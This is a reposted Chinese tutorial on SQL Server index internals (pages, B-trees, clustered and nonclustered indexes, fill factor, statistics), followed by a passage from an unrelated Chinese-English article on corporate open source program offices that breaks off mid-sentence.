...处理MIS终端的突发事件以及对操作员的管理、培训等，这是网管们日常做得最多、最辛苦的功课；然而MIS系统架构中同等重要的针对数据库的管理、维护和优化工作，现实中似乎并没有得到网管朋友的足够重视，看起来这都是程序员的事，事实上，一个网管如果能在MIS设计期间就数据表的规范化、表索引优化、容量设计、事务处理等诸多方面与程序员进行卓有成效的沟通和协作，那么日常的前台管理工作将会变得大为轻松,因为在某种意义上，数据库管理系统就相当于操作系统，在系统中占有同样重要的位置。 这正是SQL SERVER等数据库管理系统和dBASEX、ACCESS等数据库文件系统的本质区别，所以，对数据库管理系统操作能力的强弱在某种程度上也折射出了网管的水平——个人认为，称得上优秀的Admin,至少应该是一个称职的DBA（数据库管理员）。 下面以SQL SERVER（下称 SQLS）为例，将数据库管理中难于理解的“索引原理”问题给各位朋友作一个深入浅出的介绍。其他的数据库管理系统如Oracle、Sybase等，朋友们可以融会贯通，举一反三。 一、数据表的基本结构 建立数据库的目的是管理大量数据，而建立索引的目的就是提高数据检索效率，改善数据库工作性能，提高数据访问速度。对于索引，我们要知其然，更要知其所以然，关键在于认识索引的工作原理，才能更好的管理索引。 为认识索引工作原理，首先有必要对数据表的基本结构作一次全面的复习。 SQLS当一个新表被创建之时，系统将在磁盘中分配一段以8K为单位的连续空间，当字段的值从内存写入磁盘时，就在这一既定空间随机保存，当一个8K用完的时候，SQLS指针会自动分配一个8K的空间。这里，每个8K空间被称为一个数据页（Page），又名页面或数据页面，并分配从0-7的页号,每个文件的第0页记录引导信息，叫文件头（File header）；每8个数据页（64Ｋ）的组合形成扩展区（Extent），称为扩展。全部数据页的组合形成堆（Heap）。 SQLS规定行不能跨越数据页，所以，每行记录的最大数据量只能为8K。这就是char和varchar这两种字符串类型容量要限制在8K以内的原因，存储超过8K的数据应使用text类型，实际上，text类型的字段值不能直接录入和保存，它只是存储一个指针，指向由若干8K的文本数据页所组成的扩展区，真正的数据正是放在这些数据页中。 页面有空间页面和数据页面之分。 当一个扩展区的8个数据页中既包含了空间页面又包括了数据或索引页面时，称为混合扩展（Mixed Extent）,每张表都以混合扩展开始；反之，称为一致扩展（Uniform Extent），专门保存数据及索引信息。 表被创建之时，SQLS在混合扩展中为其分配至少一个数据页面，随着数据量的增长，SQLS可即时在混合扩展中分配出7个页面，当数据超过8个页面时，则从一致扩展中分配数据页面。 空间页面专门负责数据空间的分配和管理，包括：PFS页面（Page free space）：记录一个页面是否已分配、位于混合扩展还是一致扩展以及页面上还有多少可用空间等信息；GAM页面（Global allocation map）和SGAM页面(Secodary global allocation map)：用来记录空闲的扩展或含有空闲页面的混合扩展的位置。SQLS综合利用这三种类型的页面文件在必要时为数据表创建新空间； 数据页或索引页则专门保存数据及索引信息，SQLS使用4种类型的数据页面来管理表或索引：它们是IAM页、数据页、文本/图像页和索引页。 在WINDOWS中，我们对文件执行的每一步操作，在磁盘上的物理位置只有系统（system）才知道；SQL SERVER沿袭了这种工作方式，在插入数据的过程中，不但每个字段值在数据页面中的保存位置是随机的，而且每个数据页面在“堆”中的排列位置也只有系统（system）才知道。 这是为什么呢？众所周知，OS之所以能管理DISK，是因为在系统启动时首先加载了文件分配表：FAT（File Allocation Table），正是由它管理文件系统并记录对文件的一切操作，系统才得以正常运行；同理，作为管理系统级的SQL SERVER,也有这样一张类似FAT的表存在，它就是索引分布映像页：IAM（Index Allocation Map）。 IAM的存在，使SQLS对数据表的物理管理有了可能。 IAM页从混合扩展中分配，记录了8个初始页面的位置和该扩展区的位置，每个IAM页面能管理512,000个数据页面，如果数据量太大，SQLS也可以增加更多的IAM页，可以位于文件的任何位置。第一个IAM页被称为FirstIAM,其中记录了以后的IAM页的位置。 数据页和文本/图像页互反，前者保存非文本/图像类型的数据，因为它们都不超过8K的容量，后者则只保存超过8K容量的文本或图像类型数据。而索引页顾名思义，保存的是与索引结构相关的数据信息。了解页面的问题有助我们下一步准确理解SQLS维护索引的方式，如页拆分、填充因子等。 二、索引的基本概念 索引是一种特殊类型的数据库对象，它与表有着密切的联系。 索引是为检索而存在的。如一些书籍的末尾就专门附有索引，指明了某个关键字在正文中的出现的页码位置，方便我们查找，但大多数的书籍只有目录，目录不是索引，只是书中内容的排序，并不提供真正的检索功能。可见建立索引要单独占用空间；索引也并不是必须要建立的，它们只是为更好、更快的检索和定位关键字而存在。 再进一步说，我们要在图书馆中查阅图书，该怎么办呢？图书馆的前台有很多叫做索引卡片柜的小柜子，里面分了若干的类别供我们检索图书，比如你可以用书名的笔画顺序或者拼音顺序作为查找的依据，你还可以从作者名的笔画顺序或拼音顺序去查询想要的图书，反正有许多检索方式，但有一点很明白，书库中的书并没有按照这些卡片柜中的顺序排列——虽然理论上可以这样做，事实上，所有图书的脊背上都人工的粘贴了一个特定的编号①，它们是以这个顺序在排列。索引卡片中并没有指明这本书摆放在书库中的第几个书架的第几本，仅仅指明了这个特定的编号。管理员则根据这一编号将请求的图书返回到读者手中。这是很形象的例子，以下的讲解将会反复用到它。 SQLS在安装完成之后，安装程序会自动创建master、model、tempdb等几个特殊的系统数据库，其中master是SQLS的主数据库，用于保存和管理其它系统数据库、用户数据库以及SQLS的系统信息，它在SQLS中的地位与WINDOWS下的注册表相当。 master中有一个名为sysindexes的系统表，专门管理索引。SQLS查询数据表的操作都必须用到它，毫无疑义，它是本文主角之一。 查看一张表的索引属性，可以在查询分析器中使用以下命令：select from sysindexes where id=object_id(‘tablename’) ；而要查看表的索引所占空间的大小，可以使用系统存储过程命令：sp_spaceused tablename，其中参数tablename为被索引的表名。 三、平衡树 如果你通过书后的索引知道了一个关键字所在的页码，你有可能通过随机的翻寻，最终到达正确的页码。但更科学更快捷的方法是：首先把书翻到大概二分之一的位置，如果要找的页码比该页的页码小，就把书向前翻到四分之一处，否则，就把书向后翻到四分之三的地方，依此类推，把书页续分成更小的部分，直至正确的页码。这叫“两分法”，微软在官方教程MOC里另有一种说法：叫B树（B-Tree，Balance Tree），即平衡树。 一个表索引由若干页面组成，这些页面构成了一个树形结构。B树由“根”（root）开始，称为根级节点，它通过指向另外两个页，把一个表的记录从逻辑上分成两个部分：“枝”—--非叶级节点（Non-Leaf Level）；而非叶级节点又分别指向更小的部分：“叶”——叶级节点（Leaf Level）。根节点、非叶级节点和叶级节点都位于索引页中，统称为索引节点，属于索引页的范筹。这些“枝”、“叶”最终指向了具体的数据页（Page）。在根级节点和叶级节点之间的叶又叫数据中间页。 “根”（root）对应了sysindexes表的Root字段，其中记载了非叶级节点的物理位置（即指针）；非叶级节点位于根节点和叶节点之间，记载了指向叶级节点的指针；而叶级节点则最终指向数据页。这就是“平衡树”。 四、聚集索引和非聚集索引 从形式上而言，索引分为聚集索引（Clustered Indexes）和非聚集索引（NonClustered Indexes）。 聚集索引相当于书籍脊背上那个特定的编号。如果对一张表建立了聚集索引，其索引页中就包含着建立索引的列的值（下称索引键值），那么表中的记录将按照该索引键值进行排序。比如，我们如果在“姓名”这一字段上建立了聚集索引，则表中的记录将按照姓名进行排列；如果建立了聚集索引的列是数值类型的，那么记录将按照该键值的数值大小来进行排列。 非聚集索引用于指定数据的逻辑顺序，也就是说，表中的数据并没有按照索引键值指定的顺序排列，而仍然按照插入记录时的顺序存放。其索引页中包含着索引键值和它所指向该行记录在数据页中的物理位置，叫做行定位符（RID：Row ID）。好似书后面的的索引表，索引表中的顺序与实际的页码顺序也是不一致的。而且一本书也许有多个索引。比如主题索引和作者索引。 SQL Server在默认的情况下建立的索引是非聚集索引，由于非聚集索引不对表中的数据进行重组，而只是存储索引键值并用一个指针指向数据所在的页面。一个表如果没有聚集索引时,理论上可以建立249个非聚集索引。每个非聚集索引提供访问数据的不同排序顺序。 五、数据是怎样被访问的 若能真正理解了以上索引的基础知识，那么再回头来看索引的工作原理就简单和轻松多了。 （一）SQLS怎样访问没有建立任何索引数据表： Heap译成汉语叫做“堆”，其本义暗含杂乱无章、无序的意思，前面提到数据值被写进数据页时，由于每一行记录之间并没地有特定的排列顺序，所以行与行的顺序就是随机无序的，当然表中的数据页也就是无序的了，而表中所有数据页就形成了“堆”，可以说，一张没有索引的数据表，就像一个只有书柜而没有索引卡片柜的图书馆，书库里面塞满了一堆乱七八糟的图书。当读者对管理员提交查询请求后，管理员就一头钻进书库，对照查找内容从头开始一架一柜的逐本查找，运气好的话，在第一个书架的第一本书就找到了，运气不好的话，要到最后一个书架的最后一本书才找到。 SQLS在接到查询请求的时候，首先会分析sysindexes表中一个叫做索引标志符(INDID: Index ID)的字段的值，如果该值为0，表示这是一张数据表而不是索引表，SQLS就会使用sysindexes表的另一个字段——也就是在前面提到过的FirstIAM值中找到该表的IAM页链——也就是所有数据页集合。 这就是对一个没有建立索引的数据表进行数据查找的方式，是不是很没效率？对于没有索引的表，对于一“堆”这样的记录，SQLS也只能这样做，而且更没劲的是，即使在第一行就找到了被查询的记录，SQLS仍然要从头到尾的将表扫描一次。这种查询称为“遍历”，又叫“表扫描”。 可见没有建立索引的数据表照样可以运行，不过这种方法对于小规模的表来说没有什么太大的问题，但要查询海量的数据效率就太低了。 （二）SQLS怎样访问建立了非聚集索引的数据表： 如前所述，非聚集索引可以建多个,具有B树结构，其叶级节点不包含数据页，只包含索引行。假定一个表中只有非聚集索引，则每个索引行包含了非聚集索引键值以及行定位符（ROW ID,RID），他们指向具有该键值的数据行。每一个RID由文件ID、页编号和在页中行的编号组成。 当INDID的值在2-250之间时，意味着表中存在非聚集索引页。此时，SQLS调用ROOT字段的值指向非聚集索引B树的ROOT，在其中查找与被查询最相近的值，根据这个值找到在非叶级节点中的页号，然后顺藤摸瓜，在叶级节点相应的页面中找到该值的RID，最后根据这个RID在Heap中定位所在的页和行并返回到查询端。 例如：假定在Lastname上建立了非聚集索引，则执行Select From Member Where Lastname=’Ota’时，查询过程是：①SQLS查询INDID值为2；②立即从根出发，在非叶级节点中定位最接近Ota的值“Martin”，并查到其位于叶级页面的第61页；③仅在叶级页面的第61页的Martin下搜寻Ota的RID，其RID显示为N∶706∶4，表示Lastname字段中名为Ota的记录位于堆的第707页的第4行，N表示文件的ID值，与数据无关；④根据上述信息，SQLS立马在堆的第 707页第4行将该记录“揪”出来并显示于前台（客户端）。视表的数据量大小，整个查询过程费时从百分之几毫秒到数毫秒不等。 在谈到索引基本概念的时候，我们就提到了这种方式： 图书馆的前台有很多索引卡片柜，里面分了若干的类别，诸如按照书名笔画或拼音顺序、作者笔画或拼音顺序等等，但不同之处有二：① 索引卡片上记录了每本书摆放的具体位置——位于某柜某架的第几本——而不是“特殊编号”；② 书脊上并没有那个“特殊编号”。管理员在索引柜中查到所需图书的具体位置（RID）后，根据RID直接在书库中的具体位置将书提出来。 显然，这种查询方式效率很高，但资源占用极大，因为书库中书的位置随时在发生变化，必然要求管理员花费额外的精力和时间随时做好索引更新。 （三）SQLS怎样访问建立了聚集索引的数据表： 在聚集索引中，数据所在的数据页是叶级，索引数据所在的索引页是非叶级。 查询原理和上述对非聚集索引的查询相似，但由于记录是按照聚集索引中索引键值进行排序，换句话说，聚集索引的索引键值也就是具体的数据页。 这就好比书库中的书就是按照书名的拼音在排序，而且也只按照这一种排序方式建立相应的索引卡片，于是查询起来要比上述只建立非聚集索引的方式要简单得多。仍以上面的查询为例： 假定在Lastname字段上建立了聚集索引，则执行Select From Member Where Lastname=’Ota’时，查询过程是：①SQLS查询INDID值为1，这是在系统中只建立了聚集索引的标志；②立即从根出发，在非叶级节点中定位最接近Ota的值“Martin”，并查到其位于叶级页面的第120页；③在位于叶级页面第120页的Martin下搜寻到Ota条目，而这一条目已是数据记录本身；④将该记录返回客户端。 这一次的效率比第二种方法更高，以致于看起来更美，然而它最大的优点也恰好是它最大的缺点——由于同一张表中同时只能按照一种顺序排列，所以在任何一种数据表中的聚集索引只能建立一个；并且建立聚集索引需要至少相当于源表120%的附加空间，以存放源表的副本和索引中间页！ 难道鱼和熊掌就不能兼顾了吗？办法是有的。 （四）SQLS怎样访问既有聚集索引、又有非聚集索引的数据表： 如果我们在建立非聚集索引之前先建立了聚集索引的话，那么非聚集索引就可以使用聚集索引的关键字进行检索，就像在图书馆中，前台卡片柜中的可以有不同类别的图书索引卡，然而每张卡片上都载明了那个特殊编号——并不是书籍存放的具体位置。这样在最大程度上既照顾了数据检索的快捷性，又使索引的日常维护变得更加可行，这是最为科学的检索方法。 也就是说，在只建立了非聚集索引的情况下，每个叶级节点指明了记录的行定位符（RID）；而在既有聚集索引又有非聚集索引的情况下，每个叶级节点所指向的是该聚集索引的索引键值，即数据记录本身。 假设聚集索引建立在Lastname上，而非聚集索引建立在Firstname上，当执行Select From Member Where Firstname=’Mike’时，查询过程是：①SQLS查询INDID值为2；②立即从根出发，在Firstname的非聚集索引的非叶级节点中定位最接近Mike的值“Jose”条目；③从Jose条目下的叶级页面中查到Mike逻辑位置——不是RID而是聚集索引的指针；④根据这一指针所指示位置，直接进入位于Lastname的聚集索引中的叶级页面中到达Mike数据记录本身；⑤将该记录返回客户端。 这就完全和我们在“索引的基本概念”中讲到的现实场景完全一样了，当数据发生更新的时候，SQLS只负责对聚集索引的健值驾以维护，而不必考虑非聚集索引，只要我们在ID类的字段上建立聚集索引，而在其它经常需要查询的字段上建立非聚集索引，通过这种科学的、有针对性的在一张表上分别建立聚集索引和非聚集索引的方法，我们既享受了索引带来的灵活与快捷，又相对规避了维护索引所导致的大量的额外资源消耗。 六、索引的优点和不足 索引有一些先天不足：1：建立索引，系统要占用大约为表的1.2倍的硬盘和内存空间来保存索引。2：更新数据的时候，系统必须要有额外的时间来同时对索引进行更新，以维持数据和索引的一致性——这就如同图书馆要有专门的位置来摆放索引柜，并且每当库存图书发生变化时都需要有人将索引卡片重整以保持索引与库存的一致。 当然建立索引的优点也是显而易见的：在海量数据的情况下，如果合理的建立了索引，则会大大加强SQLS执行查询、对结果进行排序、分组的操作效率。 实践表明，不恰当的索引不但于事无补，反而会降低系统性能。因为大量的索引在进行插入、修改和删除操作时比没有索引花费更多的系统时间。比如在如下字段建立索引应该是不恰当的：1、很少或从不引用的字段；2、逻辑型的字段，如男或女(是或否)等。 综上所述，提高查询效率是以消耗一定的系统资源为代价的，索引不能盲目的建立，必须要有统筹的规划，一定要在“加快查询速度”与“降低修改速度”之间做好平衡，有得必有失，此消则彼长。这是考验一个DBA是否优秀的很重要的指标。 至此，我们一直在说SQLS在维护索引时要消耗系统资源，那么SQLS维护索引时究竟消耗了什么资源？会产生哪些问题？究竟应该才能优化字段的索引？ 在上篇中，我们就索引的基本概念和数据查询原理作了详细阐述，知道了建立索引时一定要在“加快查询速度”与“降低修改速度”之间做好平衡，有得必有失，此消则彼长。那么，SQLS维护索引时究竟怎样消耗资源？应该从哪些方面对索引进行管理与优化？以下就从七个方面来回答这些问题。 一、页分裂 微软MOC教导我们：当一个数据页达到了8K容量，如果此时发生插入或更新数据的操作，将导致页的分裂(又名页拆分)： 1、有聚集索引的情况下：聚集索引将被插入和更新的行指向特定的页，该页由聚集索引关键字决定； 2、只有堆的情况下：只要有空间就可以插入新的行，但是如果我们对行数据的更新需要更多的空间，以致大于了当前页的可用空间，行就被移到新的页中，并且在原位置留下一个转发指针，指向被移动的新行，如果具有转发指针的行又被移动了，那么原来的指针将重新指向新的位置； 3、如果堆中有非聚集索引，那么尽管插入和更新操作在堆中不会发生页分裂，但是在非聚集索引上仍然产生页分裂。 无论有无索引，大约一半的数据将保留在老页面，而另一半将放入新页面，并且新页面可能被分配到任何可用的页。所以，频繁页分裂，后果很严重，将使物理表产生大量数据碎片，导致直接造成I/O效率的急剧下降，最后，停止SQLS的运行并重建索引将是我们的唯一选择! 二、填充因子 然而在“混沌之初”，就可以在一定程度上避免不愉快出现：在创建索引时，可以为这个索引指定一个填充因子，以便在索引的每个叶级页面上保留一定百分比的空间，将来数据可以进行扩充和减少页分裂。填充因子是从0到100的百分比数值，设为100时表示将数据页填满。只有当不会对数据进行更改时(例如只读表中)才用此设置。值越小则数据页上的空闲空间越大，这样可以减少在索引增长过程中进行页分裂的需要，但这一操作需要占用更多的硬盘空间。 填充因子只在创建索引时执行，索引创建以后，当表中进行数据的添加、删除或更新时，是不会保持填充因子的，如果想在数据页上保持额外的空间，则有悖于使用填充因子的本意，因为随着数据的输入，SQLS必须在每个页上进行页拆分，以保持填充因子指定的空闲空间。因此，只有在表中的数据进行了较大的变动，才可以填充数据页的空闲空间。这时，可以从容的重建索引，重新指定填充因子，重新分布数据。 反之，填充因子指定不当，就会降低数据库的读取性能，其降低量与填充因子设置值成反比。例如，当填充因子的值为50时，数据库的读取性能会降低两倍！所以，只有在表中根据现有数据创建新索引，并且可以预见将来会对这些数据进行哪些更改时，设置填充因子才有意义。 三、两道数学题 假定数据库设计没有问题，那么是否象上篇中分析的那样，当你建立了众多的索引，在查询工作中SQLS就只能按照“最高指示”用索引处理每一个提交的查询呢？答案是否定的！ 上篇“数据是怎样被访问的”章节中提到的四种索引方案只是一种静态的、标准的和理论上的分析比较，实际上，将在外，军令有所不从，SQLS几乎完全是“自主”的决定是否使用索引或使用哪一个索引！ 这是怎么回事呢？ 让我们先来算一道题：如果某表的一条记录在磁盘上占用1000字节(1K)的话，我们对其中10字节的一个字段建立索引，那么该记录对应的索引大小只有10字节(0.01K)。上篇说过，SQLS的最小空间分配单元是“页（Page）”，一个页面在磁盘上占用8K空间，所以一页只能存储8条“记录”，但可以存储800条“索引”。现在我们要从一个有8000条记录的表中检索符合某个条件的记录(有Where子句)，如果没有索引的话，我们需要遍历8000条×1000字节/8K字节=1000个页面才能够找到结果。如果在检索字段上有上述索引的话，那么我们可以在8000条×10字节/8K字节=10个页面中就检索到满足条件的索引块，然后根据索引块上的指针逐一找到结果数据块，这样I/O访问量肯定要少得多。 然而有时用索引还不如不用索引快！ 同上，如果要无条件检索全部记录(不用Where子句)，不用索引的话，需要访问8000条×1000字节/8K字节=1000个页面；而使用索引的话，首先检索索引，访问8000条×10字节/8K字节=10个页面得到索引检索结果，再根据索引检索结果去对应数据页面，由于是检索全部数据，所以需要再访问8000条×1000字节/8K字节=1000个页面将全部数据读取出来，一共访问了1010个页面，这显然不如不用索引快。 SQLS内部有一套完整的数据索引优化技术，在上述情况下，SQLS会自动使用表扫描的方式检索数据而不会使用任何索引。那么SQLS是怎么知道什么时候用索引，什么时候不用索引的呢？因为SQLS除了维护数据信息外，还维护着数据统计信息！ 四、统计信息 打开企业管理器，单击“Database”节点，右击Northwind数据库→单击“属性”→选择“Options”选项卡，观察“Settings”下的各项复选项，你发现了什么？ 从Settings中我们可以看到，在数据库中，SQLS将默认的自动创建和更新统计信息，这些统计信息包括数据密度和分布信息，正是它们帮助SQLS确定最佳的查询策略：建立查询计划和是否使用索引以及使用什么样的索引。 在创建索引时，SQLS会创建分布数据页来存放有关索引的两种统计信息：分布表和密度表。查询优化器使用这些统计信息估算使用该索引进行查询的成本(Cost)，并在此基础上判断该索引对某个特定查询是否有用。 随着表中的数据发生变化，SQLS自动定期更新这些统计信息。采样是在各个数据页上随机进行。从磁盘读取一个数据页后，该数据页上的所有行都被用来更新统计信息。统计信息更新的频率取决于字段或索引中的数据量以及数据更改量。比如，对于有一万条记录的表，当1000个索引键值发生改变时，该表的统计信息便可能需要更新，因为1000 个值在该表中占了10%，这是一个很大的比例。而对于有1千万条记录的表来说，1000个索引值发生更改的意义则可以忽略不计，因此统计信息就不会自动更新。 至于它们帮助SQLS建立查询计划的具体过程，限于篇幅，这里就省略了，请有兴趣的朋友们自己研究。 顺便多说一句，SQLS除了能自动记录统计信息之外，还可以记录服务器中所发生的其它活动的详细信息，包括I/O 统计信息、CPU 统计信息、锁定请求、T-SQL 和 RPC 统计信息、索引和表扫描、警告和引发的错误、数据库对象的创建/除去、连接/断开、存储过程操作、游标操作等等。这些信息的读取、设置请朋友们在SQLS联机帮助文档(SQL Server Books Online)中搜索字符串“Profiler”查找。 五、索引的人工维护 上面讲到,某些不合适的索引将影响到SQLS的性能,随着应用系统的运行,数据不断地发生变化,当数据变化达到某一个程度时将会影响到索引的使用。这时需要用户自己来维护索引。 随着数据行的插入、删除和数据页的分裂，有些索引页可能只包含几页数据，另外应用在执行大量I/O的时候，重建非聚聚集索引可以维护I/O的效率。重建索引实质上是重新组织B树。需要重建索引的情况有： 1) 数据和使用模式大幅度变化； 2)排序的顺序发生改变； 3)要进行大量插入操作或已经完成； 4)使用I/O查询的磁盘读次数比预料的要多； 5)由于大量数据修改，使得数据页和索引页没有充分使用而导致空间的使用超出估算； 6)dbcc检查出索引有问题。 六、索引的使用原则 接近尾声的时候，让我们再从另一个角度认识索引的两个重要属性----唯一性索引和复合性索引。 在设计表的时候，可以对字段值进行某些限制，比如可以对字段进行主键约束或唯一性约束。 主键约束是指定某个或多个字段不允许重复，用于防止表中出现两条完全相同的记录，这样的字段称为主键，每张表都可以建立并且只能建立一个主键，构成主键的字段不允许空值。例如职员表中“身份证号”字段或成绩表中“学号、课程编号”字段组合。 而唯一性约束与主键约束类似，区别只在于构成唯一性约束的字段允许出现空值。 建立在主键约束和唯一性约束上的索引，由于其字段值具有唯一性，于是我们将这种索引叫做“唯一性索引”，如果这个唯一性索引是由两个以上字段的组合建立的，那么它又叫“复合性索引”。 注意，唯一索引不是聚集索引，如果对一个字段建立了唯一索引，你仅仅不能向这个字段输入重复的值。并不妨碍你可以对其它类型的字段也建立一个唯一性索引，它们可以是聚集的，也可以是非聚集的。 唯一性索引保证在索引列中的全部数据是唯一的，不会包含冗余数据。如果表中已经有一个主键约束或者唯一性约束，那么当创建表或者修改表时，SQLS自动创建一个唯一性索引。但出于必须保证唯一性，那么应该创建主键约束或者唯一性键约束，而不是创建一个唯一性索引。当创建唯一性索引时，应该认真考虑这些规则：当在表中创建主键约束或者唯一性键约束时， SQLS钭自动创建一个唯一性索引；如果表中已经包含有数据，那么当创建索引时，SQLS检查表中已有数据的冗余性，如果发现冗余值，那么SQLS就取消该语句的执行，并且返回一个错误消息，确保表中的每一行数据都有一个唯一值。 复合索引就是一个索引创建在两个列或者多个列上。在搜索时，当两个或者多个列作为一个关键值时，最好在这些列上创建复合索引。当创建复合索引时，应该考虑这些规则：最多可以把16个列合并成一个单独的复合索引，构成复合索引的列的总长度不能超过900字节，也就是说复合列的长度不能太长；在复合索引中，所有的列必须来自同一个表中，不能跨表建立复合列；在复合索引中，列的排列顺序是非常重要的，原则上，应该首先定义最唯一的列，例如在（COL1，COL2）上的索引与在（COL2，COL1）上的索引是不相同的，因为两个索引的列的顺序不同；为了使查询优化器使用复合索引，查询语句中的WHERE子句必须参考复合索引中第一个列；当表中有多个关键列时，复合索引是非常有用的；使用复合索引可以提高查询性能，减少在一个表中所创建的索引数量。 综上所述，我们总结了如下索引使用原则： 1)逻辑主键使用唯一的成组索引，对系统键（作为存储过程）采用唯一的非成组索引，对任何外键列采用非成组索引。考虑数据库的空间有多大，表如何进行访问，还有这些访问是否主要用作读写。 2)不要索引memo/note 字段，不要索引大型字段（有很多字符），这样作会让索引占用太多的存储空间。 3)不要索引常用的小型表 4)一般不要为小型数据表设置过多的索引，假如它们经常有插入和删除操作就更别这样作了，SQLS对这些插入和删除操作提供的索引维护可能比扫描表空间消耗更多的时间。 七、大结局 查询是一个物理过程，表面上是SQLS在东跑西跑，其实真正大部分压马路的工作是由磁盘输入输出系统(I/O)完成，全表扫描需要从磁盘上读表的每一个数据页，如果有索引指向数据值，则I/O读几次磁盘就可以了。但是，在随时发生的增、删、改操作中，索引的存在会大大增加工作量，因此，合理的索引设计是建立在对各种查询的分析和预测上的，只有正确地使索引与程序结合起来,才能产生最佳的优化方案。 一般来说建立索引的思路是： (1)主键时常作为where子句的条件，应在表的主键列上建立聚聚集索引，尤其当经常用它作为连接的时候。 (2)有大量重复值且经常有范围查询和排序、分组发生的列，或者非常频繁地被访问的列，可考虑建立聚聚集索引。　　 (3)经常同时存取多列，且每列都含有重复值可考虑建立复合索引来覆盖一个或一组查询，并把查询引用最频繁的列作为前导列，如果可能尽量使关键查询形成覆盖查询。 (4)如果知道索引键的所有值都是唯一的，那么确保把索引定义成唯一索引。 (5)在一个经常做插入操作的表上建索引时，使用fillfactor(填充因子)来减少页分裂，同时提高并发度降低死锁的发生。如果在只读表上建索引，则可以把fillfactor置为100。 (6)在选择索引字段时，尽量选择那些小数据类型的字段作为索引键，以使每个索引页能够容纳尽可能多的索引键和指针，通过这种方式，可使一个查询必须遍历的索引页面降到最小。此外，尽可能地使用整数为键值，因为它能够提供比任何数据类型都快的访问速度。 SQLS是一个很复杂的系统，让索引以及查询背后的东西真相大白，可以帮助我们更为深刻的了解我们的系统。一句话，索引就象盐，少则无味多则咸。 本篇文章为转载内容。原文链接：https://blog.csdn.net/qq_28052907/article/details/75194926。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

...，也无法及时应对安全事件。”他说。 “同样的逻辑也适用于 OSPO，这就是为什么你会看到许多领先的公司，例如Apple、Meta、Twitter、Goldman Sachs、Bloomberg 和 Google 都拥有 OSPO。他们走在了趋势的前面。” 而对组织内的开源活动的支持态度亦可成为软件供应商们的差异化原因与营销的机会。 根据Red Hat 2月分发布的一项调查，82%的IT领导者更倾向于选择为开源社区作出贡献的软件供应商。 受访者表示，当供应商支持开源社区时，就表示着他们更熟悉开源的流程并且在客户遇到技术难题时会更加有效。 但收益的不仅仅是软件供应商们。 根据 The New Stack、Linux Foundation Research 和 TODO Group 9 月份的调查，57% 拥有 OSPO 的组织将使用它们来进一步发展战略关系和建立合作伙伴关系。 十年前，Mark Hinkle 在 Citrix 工作时创办了一个开源计划办公室。他指出了在内部拥有一个 OSPO将如何使公司受益。 “对于我们来说，最大的工作是让不熟悉开源的员工学会并参与其中，成为优秀的社区成员”，他说，“我们还就如何确保我们的IP不会在没有正确理解的情况下进入项目的情况提供了指导，并确保我们没有与我们企业软件许可相冲突的开源项目合作。” 他说，OSPO还帮助Citrix确定了公司参与开源项目和Linux基金会等贸易组织的战略机会。 如今，他是云原生开源集成平台 TriggerMesh 的首席执行官兼联合创始人。 他说，参与开源系统对公司来说有着重大的经济效益。 “我们参与Knative是为了分享我们基础底层平台的开发，但作为业务的一部分，我们也拥有相关的增值服务。”他说，“通过共享该平台的研发，这为我们提供了更多的资源来改进我们自己的差异化技术。” Part4如何入门开源 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月份调查中，有 63% 的公司表示，拥有OSPO 对其工程或产品团队的成功至关重要，高于上一年度该项研究数据的 54%。 其中77% 的人表示他们的开源程序对他们的软件实践产生了积极影响，例如提高了代码质量。 但公司也不可能总是为他们使用的每一个开源项目而花费精力。 “首先，节流一下”，VMware 的 Ambiel 建议道。 公司应该关注投入使用中最有意义的项目。而这也是OSPO可以帮助确定优先事项并确保技术与战略一致性的领域。 之后，开发人员应该自己去了解一下。项目通常提供相关在线文档，一般包含贡献着指南、治理文档和未解决问题列表。 “对于那些你较感兴趣的项目中，你可以介绍一下自己----打个招呼”，她说。“然后转到Slack频道或者分发列表，询问他们需要帮助的地方。也许他们不需要帮助，一切完好；又或者他们也有可能使用新人来审查核验代码。” Ambiel 说，开源计划办公室不仅可以帮助制定为开源社区做出贡献的商业案例，还可以帮助公司以安全、可靠和健全的方式来做这件事。 “如果我为一家公司工作，并想为开源做出贡献，我不想意外披露、泄露或破坏任何专利，”她说。“而OSPO可以帮助您做出明智的选择。” 她说，OSPO还可以在开源方面提供领导力和指导理念的支持。“它可以提供引领、指导、辅导和最佳实践的作用。” Aqua Security的开发人员倡导者Anaïs Urlichs则认为，支持开源的承诺必须从高层开始。 她说，“公司在多数时候往往不重视对开源的投资，所以员工自然而然不被鼓励对此作出贡献。” 在这些情况下，员工对于开源的热情也会在空闲时间里对开源的建设而消散殆尽，这对于开源的发展来说是不可持续的。 “如果公司对开源项目依赖度高，那么将开源贡献纳入工程师的日程安排是很重要的，”她说。“一些公司定义了员工可以为开源建设的时间百分比，将其作为他们正常工作日的一部分。” The New Stack 是 Insight Partners 的全资子公司，Insight Partners 是本文提到的以下公司的投资者：Sysdig、Aqua Security。 中英对照版 How an OSPO Can Help Your Engineers Give Back to Open Source OSPO （开源项目办公室）是如何使工程师回馈开源的 When it comes to open source software, there’s a big and growing problem: most organizations are takers, not givers. 谈到开源软件，有一个较大且日益严重的问题：大多数组织都是索取者，而不是给予者。 There’s a classic XKCD comic that shows a giant structure representing modern digital infrastructure, dependent on a tiny component created by “some random person in Nebraska” who has been “thanklessly maintaining since 2003.” 经典漫画XKCD展示了一个代表现代数字基础设施的巨大结构，它依赖于“内布拉斯加州的某位人士”创建的微小组件，该组件“自2003年来一直都处于吃力不讨好的状态”。 Randall Monroe’s XKCD comic illustrates the open source dilemma: overreliance on a small number of volunteer project maintainers. Randall Monroe 的XKCD漫画展示了目前开源面临的窘境：过度依赖少数项目维护志愿者的志愿服务。 This would have been funny, except that this is exactly what happened when security vulnerabilities were discovered in Log4j last December. （开源项目由志愿者自发来维护，）这听起来像是一件很滑稽的事情，但事实上去年十二月在Log4j中发现的安全漏洞也确实存在着上述情况。 The Java-based logging tool is ubiquitous in enterprise publications. In the last three months, for example, Log4j has been downloaded more than 30 million times, according to a report by the enterprise software company Sonatype. 然而这个基于Java的日志记录工具已经在企业内部刊物中无处不在。例如根据软件公司Sonatype的一份报告显示，在过去的三个月里，Log4j的下载量就已经超过3000万次。 The tool has 440,000 lines of code, according to Synopsys‘ Black Duck Open Hub research tool, with nearly 24,000 contributions by nearly 200 developers. That’s a large dev team compared to other open source projects. But looking closer at the numbers, more than 70% of commits were by just five people. 根据Synopsys(新思）公司旗下的Black Duck Open Hub 